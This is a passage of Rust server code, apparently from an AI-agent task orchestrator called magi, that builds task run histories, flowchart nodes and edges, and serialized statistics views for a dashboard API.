6319    } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
6320        " It left a pull request open, so the task was held for a person rather than retried."
6321            .to_owned()
6322    } else if matches!(status, RunStatus::VerifiedNoop) {
6323        " Held for a person to check the claim.".to_owned()
6324    } else if last {
6325        " It spent an attempt; the task retries until the budget runs out, then is held.".to_owned()
6326    } else {
6327        " It spent an attempt, and the task moved on to the next run.".to_owned()
6328    };
6329    let mut exit = RunExit::of(Some(s), resumed_later.is_some(), resumed);
6330    let mut attempt = exit.cost();
6331    let mut exit_label = None;
6332    if let Some(v) = recorded_end.filter(|_| resumed_later.is_some() || s.parked) {
6333        let spent = match v.cost {
6334            Some(crate::queue::PassCost::Refunded) => ", attempt refunded",
6335            Some(crate::queue::PassCost::Spent) => ", attempt counted",
6336            None if resumed_later.is_some() => ", refund not recorded",
6337            None => ", attempt refunded",
6338        };
6339        attempt = match v.cost {
6340            Some(crate::queue::PassCost::Refunded) => AttemptCost::Refunded,
6341            Some(crate::queue::PassCost::Spent) => AttemptCost::Spent,
6342            None if resumed_later.is_some() => AttemptCost::Unknown,
6343            None => attempt,
6344        };
6345        if v.end == "parked" {
6346            exit = RunExit::Parked;
6347            exit_label = Some(match v.cause.as_ref() {
6348                Some(c @ crate::run::ParkCause::Upgrade { .. }) => {
6349                    format!("parked for {}{spent}", c.label())
6350                }
6351                Some(c) => format!("parked ({}){spent}", c.label()),
6352                None => format!("parked{spent}"),
6353            });
6354        } else {
6355            exit_label = Some(format!("stopped without a recorded cause{spent}"));
6356        }
6357    }
6358    let exit_label = exit_label.unwrap_or_else(|| exit.edge_label(Some(status.as_str())));
6359    TaskRunView {
6360        activity: None,
6361        n,
6362        id: id.to_owned(),
6363        short,
6364        kind,
6365        status: Some(status.as_str()),
6366        readable: true,
6367        provisional,
6368        description,
6369        outcome: format!("{head}{why}"),
6370        created_at: Some(s.created_at),
6371        pr: s.pr.as_ref().map(|p| p.url.clone()),
6372        exit,
6373        attempt,
6374        exit_label,
6375        later_pass: resumed_later,
6376        pass_n,
6377        passes_of_run,
6378        pass: view,
6379        branch: branch.map(str::to_owned),
6380        badge: None,
6381    }
6382}
6383
6384fn capitalise(s: &str) -> String {
6385    let mut c = s.chars();
6386    c.next().map_or_else(String::new, |f| {
6387        f.to_uppercase().collect::<String>() + c.as_str()
6388    })
6389}
6390
6391/// One box of the task's flowchart.
6392#[derive(Debug, Serialize, PartialEq)]
6393struct FlowNode {
6394    /// Unique by position: a resumed run id appears once per pass.
6395    key: String,
6396    /// `chat`, `followup`, `start`, `run` or `end`.
6397    kind: &'static str,
6398    label: String,
6399    /// Run status (or the task's, for `end`); `None` when it is not a fact
6400    /// about this box (unreadable, or a pass the run later resumed from).
6401    status: Option<&'static str>,
6402    /// Whose status `status` is, so the client picks the right colour table:
6403    /// `task` (the `followup` parent and `end`) or `run`.
6404    status_of: &'static str,
6405    /// Why there is no status: `unreadable`, `interrupted` or `no verdict`.
6406    note: Option<&'static str>,
6407    run_kind: Option<&'static str>,
6408    detail: Option<String>,
6409    /// A readable run with a real verdict; a stall never is.
6410    decided: bool,
6411    readable: bool,
6412    href: Option<String>,
6413    /// Overrides `status` as the badge word (`stale` / `superseded`).
6414    badge: Option<String>,
6415    /// Start of this entry, never the run's latest update or pass settlement.
6416    started_at: Option<Timestamp>,
6417    /// Context links (chat / follow-up) do not represent execution entries.
6418    time_expected: bool,
6419}
6420
6421#[derive(Debug, Serialize, PartialEq)]
6422struct FlowEdge {
6423    from: String,
6424    to: String,
6425    label: String,
6426    attempt: AttemptCost,
6427}
6428
6429#[derive(Debug, Serialize, PartialEq)]
6430struct FlowView {
6431    nodes: Vec<FlowNode>,
6432    edges: Vec<FlowEdge>,
6433    /// Attempts the task has counted since it was last released.
6434    attempts: usize,
6435    max_attempts: usize,
6436    /// Entries in the run list (passes), and how many distinct runs they are.
6437    /// Neither is the number of attempts consumed.
6438    passes: usize,
6439    runs: usize,
6440}
6441
6442/// Turn a task and its described runs into the flowchart's boxes and arrows.
6443/// Pure: the page only draws what this returns.
6444///
6445/// A follow-up opens with its parent (or the merged run) unless the task's
6446/// *source* is itself a chat, in which case the chat stays first and the
6447/// follow-up node comes second. An inherited `Task::origin_chat` alone never
6448/// adds a chat node: `crate::followup` files with `node: "followup"`, so the
6449/// two normally do not coincide and the nearer origin wins.
6450fn task_flow(
6451    task: &Task,
6452    history: &[TaskRunView],
6453    max_attempts: usize,
6454    origin: Option<&FollowUpOrigin>,
6455) -> FlowView {
6456    let max_attempts = task.effective_attempt_limit(max_attempts);
6457    let node = |key: &str, kind, label: String| FlowNode {
6458        key: key.to_owned(),
6459        kind,
6460        label,
6461        status: None,
6462        status_of: "run",
6463        note: None,
6464        run_kind: None,
6465        detail: None,
6466        decided: false,
6467        readable: true,
6468        href: None,
6469        badge: None,
6470        started_at: None,
6471        time_expected: matches!(kind, "start" | "run" | "end"),
6472    };
6473    let mut nodes = Vec::new();
6474    let mut edges: Vec<FlowEdge> = Vec::new();
6475    // A task queued from a chat opens the flow with that conversation.
6476    if let Some(link) = source_link(&task.source).filter(|l| l.kind == "chat") {
6477        let mut n = node(
6478            "chat",
6479            "chat",
6480            format!("Chat {}", crate::queue::short(&link.id)),
6481        );
6482        n.href = Some(link.href);
6483        nodes.push(n);
6484        edges.push(FlowEdge {
6485            from: "chat".to_owned(),
6486            to: if origin.is_some() { "origin" } else { "start" }.to_owned(),
6487            label: "queued from chat".to_owned(),
6488            attempt: AttemptCost::None,
6489        });
6490    }
6491    if let Some(o) = origin {
6492        let mut n = match &o.parent {
6493            Some(p) => {
6494                let mut n = node("origin", "followup", format!("Follow-up of {}", p.short));
6495                n.status = Some(p.status);
6496                n.status_of = "task";
6497                n.detail = Some(p.title.clone()).filter(|t| !t.is_empty());
6498                n.href = Some(p.href.clone());
6499                n
6500            }
6501            None => {
6502                let mut n = node(
6503                    "origin",
6504                    "followup",
6505                    format!("Follow-up of run {}", o.run.short),
6506                );
6507                n.detail = Some("merged run".to_owned());
6508                n.status = o.run.status;
6509                n.href = o.run.href.clone();
6510                if o.run.href.is_none() {
6511                    n.readable = false;
6512                    n.note = Some("unreadable");
6513                }
6514                n
6515            }
6516        };
6517        n.decided = true;
6518        let from = n.key.clone();
6519        nodes.push(n);
6520        let shown: Vec<&str> = o.findings.iter().take(3).map(String::as_str).collect();
6521        let more = o.findings.len().saturating_sub(shown.len());
6522        let label = match (shown.is_empty(), more) {
6523            (true, _) => "open findings".to_owned(),
6524            (false, 0) => format!("open findings {}", shown.join(", ")),
6525            (false, m) => format!("open findings {} +{m} more", shown.join(", ")),
6526        };
6527        edges.push(FlowEdge {
6528            from,
6529            to: "start".to_owned(),
6530            label,
6531            attempt: AttemptCost::None,
6532        });
6533    }
6534    let mut start = node("start", "start", "Task queued".to_owned());
6535    start.started_at = Some(task.created_at);
6536    nodes.push(start);
6537    let mut prev = "start".to_owned();
6538    let mut prev_exit: Option<(RunExit, String, AttemptCost)> = None;
6539    for (i, h) in history.iter().enumerate() {
6540        let key = format!("run-{}", h.n);
6541        let mut n = node(&key, "run", format!("Run {}", h.short));
6542        // Creation marks only the first pass of legacy runs. A resumed pass
6543        // without a record must not inherit the original run's start time.
6544        n.started_at = h
6545            .readable
6546            .then(|| {
6547                h.pass.as_ref().map(|p| p.started_at).or(if h.pass_n == 1 {
6548                    h.created_at
6549                } else {
6550                    None
6551                })
6552            })
6553            .flatten();
6554        n.run_kind = Some(h.kind);
6555        n.readable = h.readable;
6556        n.href = Some(format!("#/runs/{}", h.id));
6557        n.decided = h.readable && !h.provisional;
6558        n.detail = h
6559            .branch
6560            .as_ref()
6561            .map(|b| format!("review-only run of branch {b}"));
6562        match h.exit {
6563            RunExit::Unreadable => n.note = Some("unreadable"),
6564            RunExit::Interrupted => n.note = Some("interrupted"),
6565            // An earlier pass the run recorded as parked: the status shown
6566            // would be the run's current one, not this pass's.
6567            RunExit::Parked if h.later_pass.is_some() => n.note = Some("parked"),
6568            _ => {
6569                n.status = h.status;
6570                n.badge = h.badge.clone();
6571                if h.provisional {
6572                    n.note = Some("no verdict");
6573                }
6574            }
6575        }
6576        let into = match h.kind {
6577            "review" => Some(format!(
6578                "review-only run of branch {}",
6579                h.branch.as_deref().unwrap_or("?")
6580            )),
6581            "resume" => Some("resume the same run".to_owned()),
6582            _ if i > 0 => Some("retry".to_owned()),
6583            _ => None,
6584        };
6585        let attempt = prev_exit.as_ref().map_or(AttemptCost::None, |p| p.2);
6586        let label = match (prev_exit, into) {
6587            (Some((_, l, _)), Some(i)) => format!("{l} \u{2192} {i}"),
6588            (Some((_, l, _)), None) => l,
6589            (None, Some(i)) => i,
6590            (None, None) => "claimed".to_owned(),
6591        };
6592        edges.push(FlowEdge {
6593            from: prev.clone(),
6594            to: key.clone(),
6595            label,
6596            attempt,
6597        });
6598        prev_exit = Some((h.exit, h.exit_label.clone(), h.attempt));
6599        prev = key;
6600        nodes.push(n);
6601    }
6602    let mut end = node("end", "end", task.status.as_str().to_owned());
6603    end.status = Some(task.status.as_str());
6604    end.status_of = "task";
6605    // Other task states do not persist their transition start. In particular,
6606    // blocked_at can change while the task remains blocked.
6607    if task.status == TaskStatus::Held {
6608        end.started_at = task.held_at;
6609    }
6610    nodes.push(end);
6611    let (label, attempt) = match prev_exit {
6612        None => (
6613            format!("no run yet \u{2192} {}", task.status.as_str()),
6614            AttemptCost::None,
6615        ),
6616        Some((e, l, cost)) if e.explains(task.status) => {
6617            (format!("{l} \u{2192} {}", task.status.as_str()), cost)
6618        }
6619        Some((_, _, cost)) => (
6620            format!("closed by hand: task is {}", task.status.as_str()),
6621            cost,
6622        ),
6623    };
6624    edges.push(FlowEdge {
6625        from: prev,
6626        to: "end".to_owned(),
6627        label,
6628        attempt,
6629    });
6630    FlowView {
6631        nodes,
6632        edges,
6633        attempts: task.attempts,
6634        max_attempts,
6635        passes: history.len(),
6636        runs: distinct_runs(&task.runs),
6637    }
6638}
6639
6640/// How many different run ids a task's run list names.
6641fn distinct_runs(runs: &[String]) -> usize {
6642    let mut seen: Vec<&str> = Vec::new();
6643    for r in runs {
6644        if !seen.contains(&r.as_str()) {
6645            seen.push(r);
6646        }
6647    }
6648    seen.len()
6649}
6650
6651/// Describe recorded task passes, retaining unrecorded legacy list entries.
6652fn task_history(task: &Task, read: impl Fn(&str) -> Option<RunState>) -> Vec<TaskRunView> {
6653    let mut slots = Vec::new();
6654    let mut seen = Vec::new();
6655    for run_id in &task.runs {
6656        if seen.contains(&run_id) {
6657            continue;
6658        }
6659        seen.push(run_id);
6660        let state = read(run_id);
6661        let mine: Vec<_> = state.as_ref().map_or_else(Vec::new, |s| {
6662            s.passes
6663                .iter()
6664                .filter(|p| {
6665                    p.task_entry
6666                        || task
6667                            .passes
6668                            .iter()
6669                            .any(|t| t.run == *run_id && t.pass_index == p.index)
6670                })
6671                .cloned()
6672                .collect()
6673        });
6674        let legacy_count = task.runs.iter().filter(|r| *r == run_id).count();
6675        let total = legacy_count.max(mine.len());
6676        let offset = total - mine.len();
6677        for k in 0..total {
6678            // Legacy repeated entries retain their original positions. When
6679            // ids are unique, recorded pass times recover the resume order.
6680            let position = task
6681                .runs
6682                .iter()
6683                .enumerate()
6684                .filter(|(_, r)| *r == run_id)
6685                .nth(k.min(legacy_count - 1))
6686                .unwrap()
6687                .0;
6688            slots.push((
6689                run_id,
6690                state.clone(),
6691                k.checked_sub(offset).and_then(|i| mine.get(i)).cloned(),
6692                position,
6693            ));
6694        }
6695    }
6696    if distinct_runs(&task.runs) == task.runs.len() && slots.len() > task.runs.len() {
6697        slots.sort_by_key(|(_, state, pass, _)| {
6698            pass.as_ref()
6699                .map(|p| p.started_at)
6700                .or_else(|| state.as_ref().map(|s| s.created_at))
6701                .map_or((true, task.created_at), |at| (false, at))
6702        });
6703    } else {
6704        slots.sort_by_key(|(_, _, _, position)| *position);
6705    }
6706    let mut history = Vec::with_capacity(slots.len());
6707    let mut seen: Vec<&str> = Vec::new();
6708    let mut prior: Option<(&str, RunStatus)> = None;
6709    for (i, (run_id, state, pass, _)) in slots.iter().enumerate() {
6710        let k = seen.iter().filter(|r| **r == run_id.as_str()).count();
6711        let resumed = k > 0;
6712        seen.push(run_id);
6713        let total = slots.iter().filter(|(id, _, _, _)| id == run_id).count();
6714        let pass = pass.as_ref();
6715        let settled = pass.and_then(|p| {
6716            task.passes
6717                .iter()
6718                .find(|t| t.run == **run_id && t.pass_index == p.index)
6719        });
6720        history.push(task_run_view(
6721            run_id,
6722            state.as_ref(),
6723            RunSlot {
6724                n: i + 1,
6725                resumed,
6726                resumed_later: slots[i + 1..]
6727                    .iter()
6728                    .position(|(id, _, _, _)| id == run_id)
6729                    .map(|off| i + off + 2),
6730                prior,
6731                last: i + 1 == slots.len(),
6732                pass,
6733                settled,
6734                pass_n: k + 1,
6735                passes_of_run: total,
6736            },
6737            task,
6738        ));
6739        if let Some(s) = &state {
6740            prior = Some((run::short_of(run_id), s.status));
6741        }
6742    }
6743    history
6744}
6745
6746/// Fill [`TaskRunView::badge`] for attempts that are no longer being driven.
6747/// An earlier pass of a resumed run keeps no badge (it has no status box).
6748fn mark_badges(ui: &Ui, task: &Task, history: &mut [TaskRunView]) {
6749    if history.iter().all(|h| h.exit == RunExit::Interrupted) {
6750        return;
6751    }
6752    let (_, claimed, _) = run_row_inputs(ui);
6753    let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
6754    for h in history
6755        .iter_mut()
6756        .filter(|h| h.readable && h.exit != RunExit::Interrupted)
6757    {
6758        let Ok(state) = read_run(&ui.runs, &h.id) else {
6759            continue;
6760        };
6761        if state.status.done() {
6762            continue;
6763        }
6764        let live = state.liveness_with(
6765            claimed.contains(&h.id),
6766            |p| probe.borrow_mut().status(p),
6767            |p| probe.borrow_mut().started_at(p),
6768        );
6769        let waiting = !ui.questions.open_for(&h.id).is_empty();
6770        h.activity = Some(crate::run_progress::activity(&state, live, waiting));
6771        let display = run_display_status(&state, waiting, live);
6772        let word = run_badge_status(&state, &display, live, task.successor_of(&h.id).is_some());
6773        if matches!(word.as_str(), "stale" | "superseded")
6774            || (live == crate::run::Liveness::Dead && matches!(word.as_str(), "parked" | "waiting"))
6775        {
6776            h.badge = Some(word);
6777        }
6778    }
6779}
6780
6781async fn task_core(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<TaskView>> {
6782    blocking(move || {
6783        let id = resolve_task(&ui.queue, &id)?;
6784        Ok(Json(TaskView::from(ui.queue.get(&id)?)))
6785    })
6786    .await
6787}
6788
6789async fn task_detail(
6790    State(ui): State<Arc<Ui>>,
6791    Path(id): Path<String>,
6792) -> ApiResult<Json<TaskDetailView>> {
6793    blocking(move || {
6794        let id = resolve_task(&ui.queue, &id)?;
6795        let task = ui
6796            .queue
6797            .get(&id)
6798            .map_err(|e| ApiError::not_found(format!("{e:#}")))?;
6799        let inv = if task.status == TaskStatus::Blocked {
6800            Some(crate::blockers::Inventory::load_for(
6801                &ui.queue,
6802                &ui.questions,
6803                &task,
6804            ))
6805        } else {
6806            None
6807        };
6808        let mut history = task_history(&task, |id| read_run(&ui.runs, id).ok());
6809        mark_badges(&ui, &task, &mut history);
6810        let runs_unreadable = history.iter().filter(|h| !h.readable).count();
6811        let max_attempts = task.effective_attempt_limit(daemon::Opts::default().max_attempts);
6812        let origin = task.followup.as_ref().map(|fu| {
6813            followup_origin(
6814                fu,
6815                |tid| ui.queue.get(tid).ok(),
6816                |rid| read_run(&ui.runs, rid).ok(),
6817            )
6818        });
6819        let flow = task_flow(&task, &history, max_attempts, origin.as_ref());
6820        let task_view = match inv.as_ref() {
6821            Some(inv) => TaskView::with_inventory(task, inv),
6822            None => TaskView::from(task),
6823        };
6824        Ok(Json(TaskDetailView {
6825            max_attempts,
6826            flow,
6827            followup_origin: origin,
6828            passes_total: history.len(),
6829            runs_distinct: distinct_runs(&task_view.task.runs),
6830            history,
6831            runs_unreadable,
6832            attempts_note: ATTEMPTS_NOTE,
6833            task: task_view,
6834        }))
6835    })
6836    .await
6837}
6838
6839/// A rate together with its denominator, so the client can tell "computed as
6840/// 0%" apart from "no data to compute it from" — both would otherwise
6841/// serialize as `0.0`. `None` means the denominator was zero.
6842#[derive(Debug, Serialize)]
6843struct RateView {
6844    pct: f64,
6845    denominator: usize,
6846}
6847
6848impl RateView {
6849    fn of(numerator: usize, denominator: usize) -> Option<Self> {
6850        (denominator > 0).then(|| Self {
6851            pct: 100.0 * numerator as f64 / denominator as f64,
6852            denominator,
6853        })
6854    }
6855}
6856
6857/// [`crate::stats::Totals`] for the wire: the raw counters plus the derived
6858/// rates, each paired with its own denominator via [`RateView`] rather than
6859/// exposing `Stats`' own percentage methods directly — see this module's
6860/// doc for why `Stats` itself is never serialized.
6861#[derive(Debug, Serialize)]
6862struct StatsTotalsView {
6863    runs: usize,
6864    merged: usize,
6865    ready: usize,
6866    blocked: usize,
6867    failed: usize,
6868    stalled: usize,
6869    verified_noop: usize,
6870    superseded: usize,
6871    in_progress: usize,
6872    completion_rate: Option<RateView>,
6873    tallied: usize,
6874    split: usize,
6875    split_rate: Option<RateView>,
6876    deliberated: usize,
6877    minds_changed: usize,
6878    converged: usize,
6879    review_rounds: usize,
6880}
6881
6882impl From<&stats::Totals> for StatsTotalsView {
6883    fn from(t: &stats::Totals) -> Self {
6884        Self {
6885            runs: t.runs,
6886            merged: t.merged,
6887            ready: t.ready,
6888            blocked: t.blocked,
6889            failed: t.failed,
6890            stalled: t.stalled,
6891            verified_noop: t.verified_noop,
6892            superseded: t.superseded,
6893            in_progress: t.in_progress,
6894            completion_rate: RateView::of(t.merged + t.ready, t.runs),
6895            tallied: t.tallied,
6896            split: t.split,
6897            split_rate: RateView::of(t.split, t.tallied),
6898            deliberated: t.deliberated,
6899            minds_changed: t.minds_changed,
6900            converged: t.converged,
6901            review_rounds: t.review_rounds,
6902        }
6903    }
6904}
6905
6906/// [`crate::stats::AgentStats`] for the wire.
6907#[derive(Debug, Serialize)]
6908struct AgentStatsView {
6909    agent: String,
6910    entered: usize,
6911    wins: usize,
6912    empty: usize,
6913    win_rate: Option<RateView>,
6914    competitive_entered: usize,
6915    competitive_wins: usize,
6916    competitive_win_rate: Option<RateView>,
6917    solo_entered: usize,
6918    solo_adopted: usize,
6919    solo_adoption_rate: Option<RateView>,
6920}
6921
6922impl From<&stats::AgentStats> for AgentStatsView {
6923    fn from(a: &stats::AgentStats) -> Self {
6924        Self {
6925            agent: a.agent.clone(),
6926            entered: a.entered,
6927            wins: a.wins,
6928            empty: a.empty,
6929            win_rate: RateView::of(a.wins, a.entered),
6930            competitive_entered: a.competitive_entered,
6931            competitive_wins: a.competitive_wins,
6932            competitive_win_rate: RateView::of(a.competitive_wins, a.competitive_entered),
6933            solo_entered: a.solo_entered,
6934            solo_adopted: a.solo_adopted,
6935            solo_adoption_rate: RateView::of(a.solo_adopted, a.solo_entered),
6936        }
6937    }
6938}
6939
6940/// [`crate::stats::ReviewerStats`] for the wire. `adopted_per_round` is a
6941/// ratio, not a percentage, so it carries no [`RateView`] — just the raw
6942/// value, `None` when `rounds` is zero.
6943#[derive(Debug, Serialize)]
6944struct ReviewerStatsView {
6945    agent: String,
6946    rounds: usize,
6947    seated: usize,
6948    submitted: usize,
6949    adopted: usize,
6950    unique: usize,
6951    timeouts: usize,
6952    adopted_per_round: Option<f64>,
6953    precision: Option<RateView>,
6954    unique_rate: Option<RateView>,
6955    timeout_rate: Option<RateView>,
6956}
6957
6958impl From<&stats::ReviewerStats> for ReviewerStatsView {
6959    fn from(r: &stats::ReviewerStats) -> Self {
6960        Self {
6961            agent: r.agent.clone(),
6962            rounds: r.rounds,
6963            seated: r.seated,
6964            submitted: r.submitted,
6965            adopted: r.adopted,
6966            unique: r.unique,
6967            timeouts: r.timeouts,
6968            adopted_per_round: (r.rounds > 0).then(|| r.adopted_per_round()),
6969            precision: RateView::of(r.adopted, r.submitted),
6970            unique_rate: RateView::of(r.unique, r.submitted),
6971            timeout_rate: RateView::of(r.timeouts, r.seated),
6972        }
6973    }
6974}
6975
6976/// [`crate::stats::AdvisorStats`] for the wire.
6977///
6978/// `reflection_rate` is approximate by construction — see
6979/// [`crate::stats::AdvisorStats`]'s own doc — and the UI note that carries
6980/// that caveat is static text in `index.html`, not a field here.
6981#[derive(Debug, Serialize)]
6982struct AdvisorStatsView {
6983    agent: String,
6984    seated: usize,
6985    proposed: usize,
6986    absent: usize,
6987    faint: usize,
6988    strong: usize,
6989    reflection_rate: Option<RateView>,
6990}
6991
6992impl From<&stats::AdvisorStats> for AdvisorStatsView {
6993    fn from(a: &stats::AdvisorStats) -> Self {
6994        Self {
6995            agent: a.agent.clone(),
6996            seated: a.seated,
6997            proposed: a.proposed,
6998            absent: a.absent,
6999            faint: a.faint,
7000            strong: a.strong,
7001            reflection_rate: RateView::of(a.strong, a.proposed),
7002        }
7003    }
7004}
7005
7006/// [`crate::stats::E2eStats`] for the wire.
7007#[derive(Debug, Serialize)]
7008struct E2eStatsView {
7009    rounds: usize,
7010    failures: usize,
7011    sole_detections: usize,
7012    deferred: usize,
7013    sole_rate: Option<RateView>,
7014}
7015
7016impl From<&stats::E2eStats> for E2eStatsView {
7017    fn from(e: &stats::E2eStats) -> Self {
7018        Self {
7019            rounds: e.rounds,
7020            failures: e.failures,
7021            sole_detections: e.sole_detections,
7022            deferred: e.deferred,
7023            sole_rate: RateView::of(e.sole_detections, e.failures),
7024        }
7025    }
7026}
7027
7028/// [`crate::stats::ReleaseBumpStats`] for the wire.
7029///
7030/// `clean` is sent as a raw count, computed the same way
7031/// [`stats::ReleaseBumpStats::clean`] computes it (`recorded -
7032/// needs_attention`) — never derived client-side from `automerge_enabled`,
7033/// which would misclassify a `merged_directly` bump (automerge rejected, but
7034/// magi merged it directly, so no human involvement) as needing attention.
7035#[derive(Debug, Serialize)]
7036struct ReleaseBumpStatsView {
7037    merged: usize,
7038    recorded: usize,
7039    pr_opened: usize,
7040    automerge_enabled: usize,
7041    merged_directly: usize,
7042    needs_attention: usize,
7043    clean: usize,
7044    coverage_rate: Option<RateView>,
7045    automerge_rate: Option<RateView>,
7046    attention_rate: Option<RateView>,
7047}
7048
7049impl From<&stats::ReleaseBumpStats> for ReleaseBumpStatsView {
7050    fn from(b: &stats::ReleaseBumpStats) -> Self {
7051        Self {
7052            merged: b.merged,
7053            recorded: b.recorded,
7054            pr_opened: b.pr_opened,
7055            automerge_enabled: b.automerge_enabled,
7056            merged_directly: b.merged_directly,
7057            needs_attention: b.needs_attention,
7058            clean: b.clean(),
7059            coverage_rate: RateView::of(b.recorded, b.merged),
7060            automerge_rate: RateView::of(b.automerge_enabled, b.pr_opened),
7061            attention_rate: RateView::of(b.needs_attention, b.recorded),
7062        }
7063    }
7064}
7065
7066/// [`crate::queue::TaskCounts`] for the wire.
7067#[derive(Debug, Serialize)]
7068struct TaskCountsView {
7069    queued: usize,
7070    running: usize,
7071    done: usize,
7072    failed: usize,
7073    held: usize,
7074    blocked: usize,
7075    parked: usize,
7076}
7077
7078impl From<crate::queue::TaskCounts> for TaskCountsView {
7079    fn from(c: crate::queue::TaskCounts) -> Self {
7080        Self {
7081            queued: c.queued,
7082            running: c.running,
7083            done: c.done,
7084            failed: c.failed,
7085            held: c.held,
7086            blocked: c.blocked,
7087            parked: c.parked,
7088        }
7089    }
7090}
7091
7092/// [`crate::stats::RepoStats`] for the wire, one row per repository with
7093/// runs recorded — the summary the UI's repository selector is built from.
7094/// Carries no nested `Stats`: picking a repo means re-fetching
7095/// `GET /api/stats?repo=<repo>`, which reuses this same route's own
7096/// aggregation rather than duplicating it.
7097#[derive(Debug, Serialize)]
7098struct RepoSummaryView {
7099    /// `RunState.repo` exactly as recorded — the value `?repo=` matches
7100    /// against, full path and all (see [`stats_get`]'s own doc for why).
7101    repo: String,
7102    /// Display name only; never used for matching.
7103    name: String,
7104    runs: usize,
7105    completion_rate: Option<RateView>,
7106}
7107
7108impl From<&stats::RepoStats> for RepoSummaryView {
7109    fn from(r: &stats::RepoStats) -> Self {
7110        let t = &r.stats.totals;
7111        Self {
7112            repo: r.repo.to_string_lossy().into_owned(),
7113            name: r.name.clone(),
7114            runs: t.runs,
7115            completion_rate: RateView::of(t.merged + t.ready, t.runs),
7116        }
7117    }
7118}
7119
7120/// `GET /api/stats` - the whole answer. `Stats` itself carries no
7121/// `Serialize`, deliberately: its fields (and the CLI text `report::stats`
7122/// renders from them) are free to grow without that becoming a wire-contract
7123/// change, and its zero-denominator rate methods (`0.0`) cannot tell "no
7124/// data" from "computed and it really is zero" the way [`RateView`] does.
7125#[derive(Debug, Serialize)]
7126struct StatsView {
7127    totals: StatsTotalsView,
7128    /// Best win rate first, as [`stats::collect`] already sorts it.
7129    agents: Vec<AgentStatsView>,
7130    /// Most adopted-per-round first, as [`stats::collect`] already sorts it.
7131    reviewers: Vec<ReviewerStatsView>,
7132    /// Highest reflection rate first, as [`stats::collect`] already sorts it.
7133    advisors: Vec<AdvisorStatsView>,
7134    e2e: E2eStatsView,
7135    release_bumps: ReleaseBumpStatsView,
7136    queue: Option<TaskCountsView>,
7137    /// Same count and same meaning as [`HealthView::runs_unreadable`] - see
7138    /// that field's doc. Asserted to match it in
7139    /// `stats_runs_unreadable_matches_health`.
7140    ///
7141    /// Always the whole-workload count, even when `repo` narrows every other
7142    /// field to one repository - an unreadable `run.json` carries no `repo`
7143    /// a per-repository count could attribute it to, and the queue/health
7144    /// views this mirrors never scope it either. The UI must not present it
7145    /// as if it were scoped to the selected repository.
7146    runs_unreadable: usize,
7147    /// Every repository with runs recorded, most runs first - what the UI's
7148    /// repository selector is built from. Always the full list regardless of
7149    /// `repo`, so switching repositories never needs a second request.
7150    repos: Vec<RepoSummaryView>,
7151    /// Runs per local day over the last 30 days, oldest first, always 30
7152    /// entries. Days are the *server's* local dates (the UI must not convert
7153    /// them again), cut by run creation and classified by current status.
7154    /// Narrowed by `repo` like every other run-derived field.
7155    daily: Vec<DailyStatsView>,
7156    /// The `?repo=` value this response was narrowed to, echoed back so the
7157    /// UI can confirm its selection round-tripped. `None` for the aggregate,
7158    /// all-repositories view.
7159    repo: Option<String>,
7160    /// Agent ids left out of `agents` / `reviewers` / `advisors` because the
7161    /// current config roster no longer lists them. Empty with `?all=true`, an
7162    /// unreadable config, or when nothing was retired.
7163    retired_hidden: Vec<String>,
7164}
7165
7166/// One day of [`StatsView::daily`].
7167#[derive(Debug, Serialize)]
7168struct DailyStatsView {
7169    /// `YYYY-MM-DD`, server-local.
7170    date: String,
7171    runs: usize,
7172    merged: usize,
7173    ready: usize,
7174    other: usize,
7175    /// `None` on a day with no runs, so it never reads as 0%.
7176    completion_rate: Option<RateView>,
7177}
7178
7179impl From<&stats::DayBucket> for DailyStatsView {
7180    fn from(b: &stats::DayBucket) -> Self {
7181        Self {
7182            date: b.date.to_string(),
7183            runs: b.runs,
7184            merged: b.merged,
7185            ready: b.ready,
7186            other: b.other,
7187            completion_rate: RateView::of(b.merged + b.ready, b.runs),
7188        }
7189    }
7190}
7191
7192/// How many days [`StatsView::daily`] covers.
7193const STATS_DAILY_DAYS: usize = 30;
7194
7195/// `?repo=<path>` narrows `GET /api/stats` to the runs recorded against one
7196/// repository. Matched by full-path equality against `RunState.repo` only
7197/// (see [`stats::filter_repo`]) - never resolved by name the way the CLI's
7198/// `--repo` is, because the value here always came from this same route's
7199/// own `repos` list in an earlier response, never typed by a human. A value
7200/// matching no run is a 404, not an empty aggregate: the caller asked for a
7201/// specific, named repository, and silently returning zeroes would look
7202/// exactly like a repository that has runs but none of interest.
7203#[derive(Debug, Default, Deserialize)]
7204#[serde(default)]
7205struct StatsQuery {
7206    repo: Option<String>,
7207    /// `?all=true` keeps agents that are no longer in the roster.
7208    all: bool,
7209    /// The dashboard fetches queue counts independently of run history.
7210    runs_only: bool,
7211}
7212
7213/// `GET /api/stats` - task and run statistics for the dashboard, aggregated
7214/// by [`stats::collect`] (or [`stats::collect_refs`] over one repository's
7215/// runs when `?repo=` narrows it), the same counting logic `magi stats`
7216/// prints from. Reads every readable run on disk, exactly as
7217/// [`runs_unreadable`] does, so the two counts can never drift apart the way
7218/// a separately-maintained tally could.
7219async fn stats_get(
7220    State(ui): State<Arc<Ui>>,
7221    Query(q): Query<StatsQuery>,
7222) -> ApiResult<Json<StatsView>> {
7223    blocking(move || {
7224        let states: Vec<RunState> = run_ids(&ui.runs)
7225            .into_iter()
7226            .filter_map(|id| read_run(&ui.runs, &id).ok())
7227            .collect();
7228        let repos: Vec<RepoSummaryView> = stats::by_repo(&states)
7229            .iter()
7230            .map(RepoSummaryView::from)
7231            .collect();
7232        let mut scoped: Vec<&RunState> = states.iter().collect();
7233        let mut collected = match &q.repo {
7234            Some(repo) => {
7235                let filtered = stats::filter_repo(&states, std::path::Path::new(repo));
7236                if filtered.is_empty() {
7237                    return Err(ApiError::not_found(format!(
7238                        "no runs recorded against repo `{repo}`"
7239                    )));
7240                }
7241                scoped = filtered.clone();
7242                stats::collect_refs(filtered)
7243            }
7244            None => stats::collect(&states),
7245        };
7246        if !q.all {
7247            let repo = q
7248                .repo
7249                .as_deref()
7250                .map_or_else(|| ui.repo.clone(), PathBuf::from);
7251            stats::retain_current_roster(&mut collected, &repo);
7252        }
7253        let daily = stats::daily(
7254            scoped,
7255            jiff::Zoned::now().date(),
7256            &jiff::tz::TimeZone::system(),
7257            STATS_DAILY_DAYS,
7258        );
7259        let queue_counts = (!q.runs_only)
7260            .then(|| TaskCountsView::from(crate::queue::TaskCounts::of(&ui.queue.list())));
7261        Ok(Json(StatsView {
7262            totals: StatsTotalsView::from(&collected.totals),
